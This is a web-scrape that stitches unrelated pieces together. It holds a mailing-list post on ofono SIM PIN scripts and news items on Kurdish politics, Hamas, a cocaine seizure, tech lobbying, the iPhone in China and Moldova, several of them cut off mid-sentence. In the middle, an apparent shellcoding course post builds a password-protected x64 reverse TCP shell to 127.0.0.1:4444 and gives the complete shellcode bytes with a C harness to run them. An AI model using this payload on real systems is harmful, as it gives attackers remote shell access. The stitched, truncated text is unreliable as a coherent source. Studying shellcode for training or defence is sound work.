: Tony Espy <espy@xxxxxxxxxxxxx> Date : Wed, 10 Jul 2013 19:45:50 -0400
: Wed, 10 Jul 2013 19:45:50 -0400 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130510 Thunderbird/17.0.6
We landed system-level support for SIM PIN/PUK in today's image. The UI is still a forthcoming feature, however in the short-term, it's now possible to use a command-line script to enter your PIN, change your PIN, or reset your PIN if locked out ( i.e. if you enter a PIN incorrectly 3x, you will be locked out, and will require a PUK code from your Operator ). In order to use these functions, you need to first ensure you're running the latest image. If you want to check, the version of ofono required is 1.12phablet8. You also need to install the package 'ofono-scripts'. At the moment, these scripts aren't in the default search path, so they can be found in the directory '/usr/share/ofono/scripts'. Now you should be able to: = Enter SIM PIN = This needs to be done any-time after boot for the SIM to be unlocked & the phone-app use-able. Ex. # enter-sim pin <pin> = Change SIM PIN = # change-pin /ril_0 pin <old-pin> <new-pin> = Reset PIN if Locked = # reset_pin /ril_0 puk <puk> <new-pin> Note, after a reset, you should be able to use the telephony functions without a reboot. Regards, /tonyClick to email this to a friend (Opens in new window)
Eradication of ISIS in Iraq still months away, says US senior commander
ARA News
Erbil – Ernie Audino, a retired Brigadier General in the United States Army, told ARA News on the sidelines of a conference in Erbil that the President-elect Donald Trump’s picks for cabinet show that it will most likely benefit the Iraqi Kurds, although it’s unclear if it will benefit the Kurds in Syria.
Trump must choose all his Cabinet members and appointments by his Jan. 20, 2017, inauguration.
Audino was a Chief Combat Advisor embedded in 3rd Brigade, 4th Division that was formed by the Kurdish Peshmerga units to conduct counterinsurgency operations in Balad, Kirkuk and along the Iranian border. He is a Retired Brigadier General and regularly visits the Kurdistan Region of Iraq.
“The question what it might means for future of Kurdistan: First the Trump administration has already announced several of its picks for the close cabinet. Knowing some of the folks involved in this, I must say across the board he has chosen scholar practitioners,” Audino told ARA News. “These guys are honest about situation. This is always first order of business,” he said about Donald Trump’s decision to pick Lt Gen Michael Flynn as his most senior national security aide and General James N. Mattis as US Secretary of Defence.
Furthermore, he said the Trump’s decision to name Rex W. Tillerson as US Secretary of State, and John Bolton as a potential deputy could be a dream team for the Iraqi Kurds.
In 2011, Tillerson signed a deal directly with the Kurdish government for five oil fields in Iraq’s autonomous region of Kurdistan despite opposition from Baghdad.
“I think this is tremendous potential pick for Kurdistan,” Audino said. “In my opinion, a strong Kurdistan is in the strategic interest of the United States and the West.”
“The Kurds are constrained fiscally because Baghdad has cut off 17 per cent of the required constitutionally required funds and constrains shipping Kurdish oil out of the country,” he said.
Audino added that the Obama administration has never stepped forward and supported the Kurds to export oil. “So if the Secretary of State is the former CEO of Exxon he might pay attention to Kurdish oil. I think that’s a reasonable assumption,” he said. “And if John Bolton is his deputy, that would be a powerful combination, in addition to being a realist and being a foreign policy expert as well. He has also come out previously discussing the merits of an independent Kurdistan. There you have a dynamic duo.”
However, the retired US general said it is unknown how the new administration will approach the Kurds in Syria. “(…) the jury is still out how this administration will approach the Kurdish situation in Rojava,” Audino told ARA News. “But I think he has no choice to recognize the combat power of the Kurds in Syria.”
The retired general didn’t think John Bolton would change his positions such as former senator Joe Biden who called for dividing Iraq when he was still a senator in 2006, but called for Iraqi unity while vice president. “John Bolton has a much deeper understanding of foreign policy and geostrategics. Joe Biden had no idea what he was saying and he was parroting Peter Galbraith’s idea about a division of Iraq,” Audino said.
Washington-based Middle East researcher at the Centre for a New American Security, Nicholas Heras, told ARA News that the new administration will most likely benefit the Iraqi Kurds.
“The US sees Iraqi Kurdistan as an effective partner in regard to the global counter-terrorism campaign,” Heras said. “The Trump administration will most likely view Kurdistan through that lens. For the cause of Iraqi Kurdistan’s independence, there is one man who has more power than President Trump will have to allow that to happen: [Turkish president] Erdogan,” he added.
“If Erdogan sees the benefit of having an independent, and weak, Iraqi Kurdish state as a client of Turkey, and as a buffer against the Arabs and the Iranians, it will happen. The Trump administration would likely not stand in the way of Iraqi Kurdish independence,” Heras concluded.
Reporting by: Wladimir van Wilgenburg | Source: ARA News
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Join our Weekly NewsletterHamas’s leader in the Gaza Strip, Yahya Sinwar, said that a senior Iranian military commander pledged all of the Islamic Republic’s military resources to help the Gaza-based terror group fight Israel over Jerusalem.
“All our of capabilities and potential are at your disposal in the battle for the defense of Jerusalem,” Sinwar said Qassem Soleimani, the commander of Iran’s Islamic Revolutionary Guards Corps’ elite Quds Force, told him over the phone.
The statements by Sinwar regarding Soleimani were broadcast Monday by the pro-Iranian Lebanese news outlet al-Mayadeen, and seemed to be from a speech he gave on Thursday in Gaza to young men and social media activists.
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According to Sinwar, Soleimani asserted that “Iran, the Revolutionary Guards and Quds Force stand with all they have with our people in order to defend Jerusalem so that Jerusalem will endure as the capital of the state of Palestine.”
Sinwar, who said he met with the Iranian military commander in Tehran in 2012, added that Soleimani was in touch with the leadership of the military branches of both Hamas and Palestinian Islamic Jihad.
In a move that delighted much of Israel’s leadership but ignited protests across the Muslim world, US President Donald Trump announced on December 6 that the US recognized Jerusalem as the capital of Israel and planned to move its embassy there from Tel Aviv. Trump stressed that he was not specifying the boundaries of Israeli sovereignty in the city, and called for no change in the status quo at the city’s holy sites.
Hamas, which seeks the destruction of Israel, has fought three wars with the Jewish state since seizing power from Fatah in the Gaza Strip in 2007.
The terror group has been urging a new intifada, or uprising, since Trump’s declaration, and has encouraged thousands of Gazans to confront Israeli troops at the Gaza border fence, where there have been several fatalities in clashes in recent weeks.
In recent months, Hamas has publicly flaunted its burgeoning ties with Iran, and the Islamic Republic has in turn sworn to increase its military backing for the Gaza-based terror group.
Sinwar has said that Iran has become the key military sponsor for the Gaza-based terror group, though he has not explained in what capacity Tehran provides support.
In November, a high-profile Hamas delegation visited Iran in order to attend the funeral service for Soleimani’s father. The delegation included deputy political chief Saleh al-Arouri and a second official, Ezzat al-Rishq.Because upset Hong Kong Airlines passengers often resort to violence when they discover their flights have been delayed, the airline plans to teach its flight attendants Kung Fu.
The airline estimated that only 28 percent of its flights depart on time, in part because the People’s Liberation Army controls a majority of airspace, and it can be difficult to obtain clearance from them.
In July, 30 passengers stormed a runway after a seven hour delay. In another incident that month, angry passengers beat up flight staff, some of which had to be hospitalized.
Two staff members were also injured when a passenger tried to rip off a staff member’s nametag.
In another notable incident, a teacher slapped and kicked an attendant when her flight was delayed, and became even more upset when no one offered her refreshments.
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"The passengers were very emotional and unstable," Ni Xuying said.
Angry passengers so often take out their rage on flight attendants and airport staff that staff have developed a name for them: “King Nu Zu”, meaning “air rage tribe”.
These brawls between passengers and airline staff can further delay flights. In one case, a domestic flight was delayed for 18 hours because of a brawl.
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Sources: UPI, Travelers Today
undefined$160m cocaine bust on Brisbane yacht
Updated
Three New South Wales men charged in connection with Australia's third largest cocaine seizure have been remanded in custody to face court again next month.
Two men were charged with attempting to import a commercial quantity of drugs, and a third man was charged with possession.
They appeared in the Magistrates Court in Brisbane yesterday and did not apply for bail.
Two other men have been detained on a catamaran off the Queensland coast that is being towed to shore.
Federal police seized 464 kilograms of cocaine worth $160 million from a yacht in a Brisbane marina on Tuesday.
The drugs were wrapped in black plastic and brown paper and hidden in bags.
Thirty-two bags of the cocaine were displayed at a police press conference this morning - some in duffle bags, others in backpacks that had been hidden in the luxury yacht.
Australian Federal Police (AFP) officers also searched 12 properties and uncovered a clandestine laboratory at Eden on the New South Wales coast.
AFP deputy commissioner Andrew Colvin says it represents 500,000 drug hits.
"Had these narcotics been allowed to reach the streets, then organised crime would have profited approximately $160 million," he said.
US law enforcement agencies tipped off Australian authorities late last week.
Marion Grant from Customs and Border Protection says officers started scouring the coast off southern Queensland for two boats and a possible exchange of drugs at sea.
"The operation was conducted in incredibly hazardous sea states," he said.
"If you'd had a choice you would not have been out on a boat in these conditions."
Federal Home Affairs Minister Brendan O'Connor says it is a job well done.
"This is a fantastic effort by the Australian Federal Police, Customs and border protection and Queensland and New South Wales police working together," he said.
Topics: drug-offences, law-crime-and-justice, courts-and-trials, crime, scarborough-4020, australia, qld, brisbane-4000
First postedHipster Cthulhu, You’ve Probably Never Heard Of Him. Actually I would be surprised by that, actually. If you’re the type of person who likes reading my comic, you’ve probably heard of Cthulhu by now. At the conventions I go to you can’t swing a proverbial dead cat without hitting a Cthulhu reference. Also don’t swing dead cats… That’s not very nice.
But just in case you haven’t he’s from the writings of H.P. Lovecraft and appears in the story “Call of Cthulhu” which was written in the 1926, and first published in the pulp magazine “Weird Tales” in February 1928. It’s safe to say that it predates both “Pacific Rim” and “Gojira/Godzilla” by a few years.
Oh man, that felt good to be all snarky and hipstery their for a second. I feel like I should get some stupidly large glasses and start shopping for my clothes at thrift stores now. Or possibly I won’t do that. Hipsters care to much about not caring about things.
I full on admit to being passionate about my H.P. Lovecraft trivia. And far from being an elitist about it, I would like you all to read it and appreciate it for what it is. Creepy cosmic horror that has influenced modern day horror and scifi in ways too numerous to count. Oh hipster Cthulhu, I love you so very much.
That being said, while I love my Hipster Cthulhu I’m still going to go see “Pacific Rim.” It has giant monsters fighting giant robots. At that point I could give a crap if it even has a plot, I just want to see that.
Now I know it won’t have Chulhu in it or even hipster Cthulhu, if they could make a sequel with some Shoggoths and some Deep One’s in it that would be super awesome.Soon it will be time for fireflies and barbecue, for long, bright days at the Shore and balmy summer nights on the boardwalk.
To embrace the spirit of spring and look ahead to those warmer days, here's a rundown of summer festivals in New Jersey, whether celebrations of food, music, art, film or plain ol' fun.
The list starts in the weeks before Memorial Day and wraps up in September. What other festivals do you plan to enjoy this summer? Let us know in the comments.
MAY
9 - For those who like a cold one, the Big Brew Sussex Beer Festival touches down at the Sussex County Fairgrounds in Augusta; bigbrewnj.com/sussex
16 - Get those spoons ready! The New Jersey State Chili and Salsa Cook-off is set to spice up Toms River; downtowntomsriver.com
16/17 - The Skate and Surf Festival in Asbury Park sparks up music festival season. Dropkick Murphys headline on Saturday and the Gaslight Anthem takes the stage on Sunday; skateandsurffest.com
22 - What says spring and summer more than pretty kites floating in the air? The Wildwoods International Kite Festival runs from May 22 through 25; skyfestivals.com
23/24 - Electric Daisy Carnival, a sprawling EDM -- electronic dance music -- festival, returns to MetLife Stadium with lights of the scene like Calvin Harris and Tiesto; electricdaisycarnival.com
23-25 - How about some tasty delights... on wheels? The Jersey Shore Food Truck Festival rolls into Monmouth Park in Oceanport; monmouthpark.com
30 - More food trucks will be |
the NFL scouting combine last month.
"Obviously, we drafted him, Del Rio said. "We thought at that time he was a dancing-bear type, a big powerful man who could stay on his feet. This game is about big powerful men so that guys that have the skill level can do their things.
"We got back together, and he played well in Denver. I appreciate that. I respect that. We have to have those kind of people in our trenches on the offensive and defensive line in order to play the kind of football we expect to play."
awilson@baltsun.com
twitter.com/RavensInsiderWASHINGTON -- In a better time, circa 1998, Cypress Semiconductor founder and CEO T.J. Rodgers gave a provocative speech, titled: "Why Silicon Valley Should Not Normalize Relations with Washington D.C."
This speech, at the Cato Institute Forbes Conference on Technology and Society, is important to the understanding of Silicon Valley.
The valley may vote overwhelmingly Democratic in elections, but it has a very strong libertarian streak -- it doesn't want Washington interfering with its business and start-up culture.
[ Find your 2017 salary info and our detailed report at IT Salary Watch ]
Rogers argued that the politics of Washington are antithetical to Silicon Valley's core values. "The very way it works, Washington undermines the free minds and free markets that are the cornerstone of Silicon Valley's success," said Rodgers, in a speech that raised issues with both political parties.
(Download PDF of edited version of Rodgers speech here)
"The metric that differentiates Silicon Valley from Washington does not fall along conventional political lines: Republican versus Democrat, conservative versus liberal, right versus left," Rogers said.
"It falls between freedom and control. It is a metric that separates individual freedom to speak from tap-ready telephones; local reinvestment of profit from taxes that go to Washington; encryption to protect privacy from government eavesdropping; success in the marketplace from government subsidies; and a free, untaxed Internet from a regulated, overtaxed Internet," he added.
The issues Rodgers worried about -- government surveillance and Internet taxation, among others -- have only grown as as tech industry concerns today. Rogers has been one of but a few Silicon Valley business leaders to speak critically about the country's broad political direction. Former Intel chairman and CEO Andy Grove has been another vocal leader.
For the most part, though, if Silicon Valley leaders go public at all about something political, it is about a narrow policy issue.
It's not surprising, then, that the biggest issue in the country today, the federal government shutdown and threat of a U.S. default on the national debt, has been met by mostly silence from tech industry leaders.
The benefit of speaking up is questionable. Said one tech lobbyist on background: "Is rational pressure and discussion going to make irrational people act rationally?"
Broad criticism about the direction of government could upset key lawmakers, and lead to problems on specific bills. The large tech companies are, instead, letting their views known about the shutdown and default risk known through cross-industry organizations, such as Business Roundtable.
The tech lobby has interest in a long list of issues, including patents, copyright, and Internet taxation, that are now on hold.
The leading issue for many in Silicon Valley, arguably, is immigration. All the tech industry groups have pushed for immigration reform. It also drew a new arrival, Facebook's Mark Zuckerberg, and his Fwd.us.
The current mess in Washington has tech lobbyists now trying to figure out what happens after the shutdown and default issues are resolved. The predictions of several lobbyists, all speaking on background, follow.
Republican moderates emerge stronger, and that helps tech
If U.S. House Republican moderates can prevail and overcome Tea Party wing's shutdown demands, they may feel ennobled. They could become willing to fend off Tea Party challenges on issues important to tech, mostly immigration reform.
The biggest risk for moderates are primary challenges from Tea Party-backed candidates.
A damaged Republican brand may benefit tech
If polls show Republicans as the clear losers in the crisis, GOP legislators may feel a need to rack up some positive wins. Giving tech some of things it wants on policy issues may be one way of doing it.
The acrimony persists and tech gets nothing
It remains possible that the fiscal crisis could end badly.
A default sets the stage for economic upheaval. Even if a default is averted, the outlook for fixing problems important to tech may be poor. Relations between members of the two parties may well deteriorate to such a point that little can be accomplished.
The 113th Congress is on path to be the least productive since 1999, when measured by the number of substantive, non-ceremonial bills approved, according to Pew Research. That lack of productivity could continue until the mid-term elections.
The tech industry doesn't like dealing with Washington, but spends mightily for the privilege. The industry's lobbying spending grew from $40 million in 1998, when Rodgers gave his speech, to $133 million last year, according the Center for Responsive Politics.
Patrick Thibodeau covers SaaS and enterprise applications, outsourcing, government IT policies, data centers and IT workforce issues for Computerworld. Follow Patrick on Twitter at @DCgov, or subscribe to Patrick's RSS feed. His email address is pthibodeau@computerworld.com.The iPhone 5 made its highly-anticipated arrival in China today, but despite strong pre-orders (China Unicom received 300,000 pre-orders), it remains to be seen whether this will help Apple’s eroding share of the world’s largest smartphone market.
Though the iPhone continues to be hugely popular among Chinese consumers, this may not be enough to hold onto the interest of China’s 290 million smartphone users. China is still Apple’s second-largest market, but iPhone sales are losing traction to competition from Samsung and Nokia, as well as domestic handset makers such as Huawei, ZTE and Lenovo, all of which have produced cheaper Android-based devices. Earlier this month IDC reported that Apple’s ranking in China’s smartphone market fell two spots to sixth place during the second quarter, while rival Samsung took first place.
One crucial element is whether or not Apple will be able to strike a deal with China Mobile. It has been stuck in talks with the country’s biggest carrier for about four years. One of the key roadblocks to an agreement is the lack of compatibility between China Mobile’s proprietary network and iPhone’s mobile radios.
Furthermore, China Mobile and Apple must hammer out differences over revenue models. China Mobile CEO Li Yue said earlier this month that “China Mobile and Apple still have to solve many issues, such as the business model, articles of cooperation and revenue division, but I believe we will reach an agreement eventually.”27/3: Done
Merchant Cruiser / Armed Prospector Variant released 27/3/16[video=youtube] https://youtu.be/IGOwZ3Kxhdo [/video]Launched in 1987, MV Nisshin Maru is the only whaler factory ship in existence and centerpiece of the Japanese whaling fleet.Embarking on yearly voyages to Antarctic waters, Nisshin Maru has been the target of various maritime conservationist groups - namely Greenpeace and Sea Shepherd for many years.Check out myin this thread. They are also released unarmed so you can outfit them yourself.The Nisshin Maru is released as a scaled down, low cost unarmed vessel intended for 'arm it yourself' campaign and'research' use. The current configuration is lightly armored and costs just 200k RP.Despite that it is still capable of putting on a surprising turn of speed, harpooning and ramming smaller vessels.An armed merchant cruiser variant will be constructed separately in order to participate in the Neter World Tour challenge. - see this post for details on the armed versionWatch Bill O’Reilly’s interview with President @realDonaldTrump Sunday at 4p ET during the #SuperBowl pregame show on FOX. pic.twitter.com/OcRVRK8JgR — Fox News (@FoxNews) February 4, 2017
Fox News previewed a clip of Bill O’Reilly‘s pre-Super Bowl interview with Donald Trump, where the president was asked about his rosy relationship with Russian President Vladimir Putin.
O’Reilly asked Trump about why he respects Putin, Trump said that he does and that it would be a good thing if America could have a constructive working relationship with Russia. As Trump gave his answer, O’Reilly followed up by remarking that Putin is “a killer.”
Trump’s response to that was “There are a lot of killers. We’ve got a lot of killers. What, do you think our country’s so innocent?”
Throughout his political rise, Trump has offered warm words to Putin despite the Russian president’s authoritarian administration and efforts to interfere with the 2016 election. In an interview back in 2015, Trump reciprocated praise from Putin while shrugging off Putin’s record for having journalists and political dissidents killed.
“I think our country does plenty of killing also,” Trump said at the time.
The complete interview will air tomorrow on Fox at 4:00 P.M. EST.
[Image via screengrab]
— —
>> Follow Ken Meyer (@KenMeyer91) on Twitter
Have a tip we should know? tips@mediaite.comThe objective here is to create a reverse TCP bind shell using assembly x64, which will authenticate the attacker through a password, and have no Null bytes (0x00) in it.
So, where to start? Much like the previous post, by basing our code on the C equivalent source code. Here is what a reverse tcp shell looks like in C:
I will try not to repeat myself on this post, since I’ve layed out the basic rules, and the reasoning behind not having error checks on the TCP bind shell explanation.
One of the differences on this post, from the previous bind shell, is that I realised yet another improvement one can make on your shellcode. This actually reduced a previous draft of this shellcode from 110 bytes to 104 (oh, the smile on my face). Bare in mind that this has been a learning process and, even though I could rewrite the previous post’s bind shell to make it smaller, I decided to be honest about the learning itself, and leave it as it is.
Notice that the way I’ve been learning about techniques, to reduce shellcode byte size, is by going through as many as I can (mostly the shortests I can find) while consulting Intel’s manual to understand what some rarely seen instructions do and check on their byte size (if I’m not compiling and objdump’ing them to be sure). And, while I have seen some very very short shellcode, I’ve noticed that to do so, sometimes, they sacrifice on their being robust, which is something I’m not willing to do.
Now, the improvement I’ve mentioned is that many shellcodes were doing the following:
push rsp pop rdi
instead of:
mov rdi, rsp
This was confusing to me, because I was used to think, at this point, that the push was 2 bytes long, the pop was 1, and those are the same 3 bytes of length that the mov has. BUT the push is actually 2 bytes long only when you’re pushing an immediate value (like push 10). If you’re pushing a register it’s only one byte. Fantastic! I immediately recalled several instances where I was doing this “mov r64,r64” (a lot on the execve section for sure), which means I can save another byte for every single such instruction.
You should realise, by the end of analysing my final code, that I don’t always use the shortest options when it comes to these byte size reduction techniques. This is because of robustness. For example, I won’t use a 2 byte long “mov al,41” for a socket syscall, if I’m not absolutely positive that the 7 upper bytes from RAX register are zeros. “push 41” and “pop rax” guarantees just that, which means there are some places where I’ll definitely use the longer option. Specifically, after syscalls that will “pollute” those upper bytes on RAX because of their return value.
So let’s start by creating the socket [Figure 1 – line 23].
Again, I won’t explain how to make a syscall, where to get the syscall RAX register values, and how to know which constant value to use when you see AF_INET and SOCK_STREAM on the C code, since I already did.
So, the socket creation is pretty much the same as the TCP bind shell and comes down to:
Now we need to build up the socket structure with the information on the IP and TCP port to connect back to, and perform the connect itself:
The RAX register contains the socket returned by the socket syscall and, because we want to send it as the first parameter to the bind syscall, we start by moving it to RDI.
Now, regarding the apparently random value that I move into RBX, this is how I came to it:
I compiled the code using an easy to read (and successfully tested) set of instructions (no care at all about null bytes), which will have as IP, the value 127.0.0.1 (localhost), and as the TCP port, the value 4444, which is 0x115c in hex and, because of the architecture being little endian, it actually becomes 0x5c11 (byte order reversal). The IP address is also reversed: I used GDB, and break pointed into the instruction right next to the last one (sub rsp,8), and checked how the stack (RSP) was set. The structure is exactly 16 bytes long. Now the point of this exercise is to basically replace all the figure 4’s instructions for 2 push instructions, and that’s why I’m checking on its layout: Then, after push’ing the zeroed out RDX (the top eight zeros – “top” in terms of addressing, but actually on the bottom of fig 5), I took on the value that is layed out: 02 00 11 5c 7f 00 00 01; reversed it (little endian): 01 00 00 7f 5c 11 00 02; and, because of all the null bytes that this would have if I just moved it into a register, I had to flip every single bit into: fe ff ff 80 a3 ee ff fd Notice that I can only do this because there were no 0xff bytes in there, otherwise I’d still end up with a null byte on this one. Execute the instruction not rbx, after moving the previous value into RBX, to reverse the bit flipping.
And now we move on to redirecting the local application’s stdin and stdout file descriptors into the socket associated with the IP and port we just connected to:
This code has also been explained in the TCP bind shell post.
Now, the authentication code.
The only change here from the TCP bind shell is the improvement I mentioned of replacing the mov r64,r64 to a push r64 and pop r64. This same improvement was made on the execve syscall itself:
And it’s done!
We now compile the code:
nasm -f elf64 RevShell.nasm -o RevShell.o && ld RevShell.o -o RevShell
To try the shellcode, we extract the opcode in hexadecimal format using some command line nijutsu:
for i in `objdump -d RevShell | tr ‘\t’ ‘ ‘ | tr ‘ ‘ ‘
’ | egrep ‘^[0-9a-f]{2}$’ ` ; do echo -n “\x$i” ; done
The output will be placed inside the following array in C code:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
“\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x48\x97\x52\x48\xbb\xfd\xff\xee\xa3\x80\xff\xff\xfe\x48\xf7\xd3\x53\x54\x5e\xb0\x2a\xb2\x10\x0f\x05\x6a\x03\x5e\xb0\x21\xff\xce\x0f\x05\xe0\xf8\x48\x31\xff\x50\x54\x5e\xb2\x08\x0f\x05\x48\x91\x48\xbb\x31\x32\x33\x34\x35\x36\x37\x0a\x53\x54\x5f\xf3\xa6\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05\x90”;
main()
{
printf(“Shellcode Length: %d
”, (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Which will then be compiled with:
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
And execute it:
You can find all the files on my gitlab account.
On a personal note, just want to give a huge thanks to Vivek Ramachandran and the Pentester Academy team, as I have enjoyed every second of this course since I’ve learned so many interesting things. Thank you!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: PA-2109Could Carroll be the answer for misfiring Spurs? Tottenham scouting West Ham's on-loan striker with view to summer move
Tottenham are monitoring Andy Carroll’s form at West Ham as the White Hart Lane club consider strengthening their own attacking options.
The 23-year-old England striker is on loan from Liverpool with the option of a permanent £17million deal next summer.
Spurs would be unable to swoop for Carroll in January due to regulations preventing players appearing for more than two teams during the same domestic season. The North Londoners are, however, considering a summer move for the England striker should he build on his impressive start at Upton Park.
Sportsmail understands that Tottenham scouts have been impressed with the Geodie's commanding displays since his shock loan move from Anfield and, should he begin to add goals to his performances, Carroll could be the subject of firmer interest at the end of the season.
Try as he might: Andy Carroll is yet to score for West Ham, but Spurs are keen
However, Liverpool are open to offers as they look to finance further rebuilding in January.
Tottenham boss Andre Villas-Boas has Jermain Defoe and the unsettled Emmanuel Adebayor but is exploring options.
The Portuguese manager came in for fierce criticism from Spurs fans on Saturday when he swapped one striker for another with his side chasing the game.
As Defoe made his exit straight down the tunnel in the 57th-minute, boos rang out around White Hart Lane.
Summer signing Adebayor was returning to the squad after missing the past three games with illness and a back injury.
The Togolese striker has only played five times this season and is yet to start a match, with Villas-Boas preferring to play Defoe up front alone with three attacking midfielders behind him.
Frustrations: Spurs fans were unhappy when Emmanuel Adebayor replaced Jermain Defoe like-for-like with the team 1-0 down at home to Wigan
Later, Villas-Boas would not rule out playing Defoe and Adebayor up top together in future, saying: 'It's not impossible we will play with two strikers. We've seen that it can work.
'In the games when Adebayor was available he showed the quality striker that he is. We have him fit now and hopefully ready for the upcoming games.'OSW Commentary
A captured state? Moldova’s uncertain prospects for modernisation
There have been several significant changes on Moldova’s domestic political scene in the wake of the November 2014 parliamentary elections there. Negotiations lasted nearly two months and resulted in the formation of a minority coalition composed of two groupings: the Liberal-Democratic Party (PLDM) and the Democratic Party (PDM). New coalition received unofficial support from the Communist Party (PCRM), which had previously been considered an opposition party. Contrary to their initial announcements, PDLM and PDM did not admit the Liberal Party led by Mihai Ghimpu to power. Moreover, they blocked the nomination for prime minister of the incumbent, Iurie Leancă. Leancă has been perceived by many as an honest politician and a guarantor of reforms. This situation resulted in the political model present in Moldova since 2009 being preserved. In this model the state’s institutions are subordinated to two main oligarch politicians: Vlad Filat (the leader of PLDM) and Vlad Plahotniuc (a billionaire who de facto controls PDM).
With control over the state in the hands of Filat and Plahotniuc questions are raised regarding the prospects of Moldova’s real modernisation. It will also have a negative impact on the process of implementation of Moldova’s Association Agreement with the EU and on other key reforms concerning, for example, the judiciary, the financial sector and the process of de-politicisation of the state’s institutions. From both leaders’ perspective, any changes to the current state of affairs would be tantamount to limiting their influence in politics and the economy, which would in turn challenge their business activities. An attempt at building of what seems to be a real pro-European alternative for the current ruling majority is being made by former prime minister Iurie Leancă. Leancă himself was prevented from staying on as prime minister for several reasons. These included his conflict with Vlad Filat and his willingness to push through reforms which would challenge the interests of the coalition leaders. However, it seems unlikely that Leancă’s attempts at creating his own strong political party could bear impact on the shape of Moldova’s political scene.
Despite its instability, the political system which has evolved in Moldova in recent years will be extremely difficult to change. Filat and Plahotniuc, who are competitors both politically and in business, have regularly clashed and this is having a negative impact on the government’s stability and on the entire political scene. Still, both leaders are mainly focused on retaining power. This forces them to devise a modus vivendi within one ruling coalition which practically is tantamount to preserving the current system.
The new shape of the political scene
Shortly after the results of the parliamentary election were announced, the three main pro-European parties (PLDM, PDM and the Liberal Party – PL), declared they were willing to revive the government coalition they have in recent years formed, known as the Alliance for European Integration (AIE). However, despite two months of negotiations the parties’ leaders turned out to be unable to reach an agreement. One cause of this was the strong resistance by the democrats, who were unwilling to consent to the liberals’ demands concerning a de-politicisation of the general prosecutor’s office (controlled by PDM) and to the appointment of an official from an EU state to supervise it. As a consequence of this, on 23 January 2015 a minority coalition was formed, composed only of PLDM and PDM. It was named the Political Alliance for a European Moldova (APME). On the same day, support from the Communist Party (PCRM) helped the coalition to appoint Andrian Candu as speaker of the parliament. Candu is a politician who has business and family ties to Vlad Plahotniuc (he is Plahotniuc’s godson), the sponsor and real leader of PDM.
Upon request by PLDM’s leader Vlad Filat, on 28 January 2015 President Nicolae Timofti entrusted Iurie Leancă, the outgoing prime minister, with the task of forming the government. Although the candidature received support from the democrats, on 12 February parliament rejected the vote of confidence in the new government by votes cast by the Communists and the liberals. Soon after, on 18 February, the Moldovan parliament appointed the new government by votes cast by APME and the Communists. Chiril Gaburici, a businessman unfamiliar to most Moldovans, who has no political background and no political experience, was appointed head of the new government. Gaburici has ties to both former prime minister Vlad Filat and Oleg Voronin, son of Vladimir Voronin – PCRM’s leader and former president.
In line with his initial announcements[1], Filat put forward Leancă’s candidature for the office of prime minister. However, from the very beginning neither Filat himself nor PDM were interested in Leancă continuing in this role. Leancă’s nomination to the office of the head of government and its subsequent rejection by parliament seems to have been a political game aimed at eliminating a politician who might be a problem for the coalition partners. Simultaneously, this was a method of saving face in front of the EU. The EU openly expressed its support for Leancă and expected him to continue as prime minister.
Leancă’s public support rose gradually from the day he took office as prime minister in May 2014. This was reflected in opinion polls indicating the level of trust for Moldovan politicians[2]. Leancă has also been popular with the EU, which perceived him as a guarantor of reforms. Unlike Filat, he is viewed as an honest politician who has not been involved in major corruption scandals. As a consequence, Filat (who has not held any public post since his dismissal as prime minister in March 2013, except for the function of PLDM’s leader) began to fear Leancă’s growing influence within the grouping. This is confirmed by the fact that Filat strongly opposed the plans to use Leancă’s image in PLDM’s electoral campaign[3]. Moreover, Filat was interested in ousting the former prime minister from office because of the latter’s support for inclusion of European and American experts in an investigation of the situation on the Moldovan financial market. It is likely that such an investigation could reveal Filat’s involvement in illegal transfers of money from the Moldovan financial sector (more on this below).
It was not in the interest of the Democratic Party for Leancă to stay on as prime minister, mainly due to the fact that he used to consistently block attempts to privatise state enterprises (e.g. Moldtelecom) which could favour PDM’s leaders. Leancă also targeted PDM’s interests and insisted on a de-politicisation of the general prosecutor’s office and on a thorough reform of the judiciary. Similarly, the Communists considered Leancă’s candidature unfit, and although they did not formally join the coalition, they were instrumental to PLDM and PDM in forming the new government. Fearing for its image, PCRM did not want to support Prime Minister Leancă and in the period of approximately 18 months since he took office, PCRM repeatedly demanded that he step down. Secondly, Vladimir Voronin, aware of the fact that without votes cast by the Communists, the coalition would not be able to form a new government, tried to push through the candidature of his protégé Chiril Gaburici, and not Leancă, who was openly hostile to him.
Both the final shape of the new, Communist-backed minority coalition currently in power in Moldova, and also the way in which it was formed, indicate that a real modernisation of Moldova and a structural reform of the still post-Soviet-style state institutions is not in the interest of key actors on the Moldovan political scene. On the contrary, their only aim is to maintain full control of the state. This control is necessary to secure the political and business interests of the leaders of these groups: Vlad Filat and Vlad Plahotniuc, both of whom are prominent actors in the Moldovan economy. For this reason, both PLDM and PDM attempted to remove Iurie Leancă from power. Leancă stems from diplomatic circles, not business circles, and his growing independence and popularity, combined with his simultaneous inclination for radical reforms, posed a threat to Filat’s and Plahotniuc’s business endeavours. This is also why the two parties opposed the participation of the liberals in the ruling coalition. They (the liberals) supported the plans to carry out thorough reforms which would de facto limit the influence of Plahotniuc and Filat.
A Moldovan-style oligarchy
A process of subordinating state institutions to the leaders of the parties making up the government coalition began in Moldova upon the Alliance for European Integration assuming power in 2009[4]. In line with an undisclosed protocol which made up a part of the coalition agreement of 8 August 2009, a ‘party formula’ was established to be used when nominating candidates to major public offices. This formula covered not only the office of the prime minister, the speaker of the parliament and individual ministers, but also those posts which should never be staffed by party-nominated candidates. These include the posts of general prosecutor, the head of the central tax office, the governor of the National Bank of Moldova and the head of the Central Electoral Committee.
